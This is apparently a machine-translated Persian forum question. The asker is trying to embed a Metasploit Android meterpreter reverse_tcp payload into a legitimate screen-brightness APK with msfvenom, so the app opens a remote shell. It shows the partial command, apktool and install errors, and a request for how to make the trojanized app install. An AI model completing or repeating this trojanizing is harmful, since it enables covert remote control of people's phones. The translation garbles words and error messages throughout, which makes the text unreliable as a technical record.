من می خواهم یک payload را در یک پرونده apk قرار دهم. من سعی کردم از msfvenom -x ScreenBrightness.apk -p android / metpreter / reverse_tcp LHOST =
و این نتیجه بود:
با استفاده از الگوی APK: ScreenBrightness.apk
[-] هیچ سکویی انتخاب نشده بود ، و Msf :: ماژول :: بستر های نرم افزاری :: Android را از payload انتخاب کرد
[-] هیچ قوس انتخاب نشده است ، قوس را انتخاب کنید: dalvik از payload
خطا: شماره نسخه نادرست رشته 2.4.0-کثیف
/ usr / bin / apktool: line 27: mkdir: فرمان یافت نشد
/ usr / bin / apktool: line 28: ln: command found not found
سپس من دایرکتوری را چک کردم و فهمیدم که پرونده ای به نام output.apk وجود دارد.
من سعی کردم out.apk را روی اندروید خود نصب کنم. برنامه نصب نشده است . من چندین بار امتحان کردم اما نتیجه این نتیجه بود.
بنابراین ، من سعی کردم با استفاده از adb به دستور adb install output.apk
output.apk را نصب کنم و هنوز هم این نتیجه بود:
عدم موفقیت [INSTALL_FAILED_INVALID_APK]
من از لینوکس استفاده می كنم: Parrot GNU / Linux
اندیشه من: Android 6.0.1 (Marshmello)
برای جاسازی صحیح بار در یک فایل apk چه کاری باید انجام دهم؟
با تشکر از پیش.